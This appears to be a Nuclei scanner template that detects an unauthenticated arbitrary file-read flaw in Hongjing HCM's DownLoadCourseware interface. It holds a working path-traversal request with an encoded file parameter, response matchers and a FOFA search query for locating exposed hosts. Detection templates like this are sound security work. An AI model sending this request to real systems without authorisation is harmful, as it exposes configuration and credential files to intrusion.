hjsoft-hcm-lfi: Hongjing HCM - Local File Inclusion

id: hjsoft-hcm-lfi

info:
  name: Hongjing HCM - Local File Inclusion
  author: s4e-io
  severity: high
  description: |
    There is an arbitrary file read vulnerability in the Hongjing eHR /DownLoadCourseware interface. Unauthenticated attackers can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be extremely unsafe.
  reference:
    - https://github.com/wy876/POC/blob/main/%E5%AE%8F%E6%99%AFeHR%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3DownLoadCourseware%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://blog.csdn.net/qq_41904294/article/details/140180110
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="HJSOFT-HCM"
  tags: lfi,hjsoft,management-system,file-read,vuln

http:
  - raw:
      - |
        GET /w_selfservice/oauthservlet/%2e./.%2e/DownLoadCourseware?url=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: word
        part: content_type
        words:
          - "multipart/form-data"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220617aa13fc71ef5865706578e13055ce8a05bb6bf6b9c266abd3f6e37d28f9df3022100d265cf6b872ed8d96e7f4fae378c34a77c06aa01c05c511949582d8a2c2c6dad:922c64590222798bb761d5b6d8e72950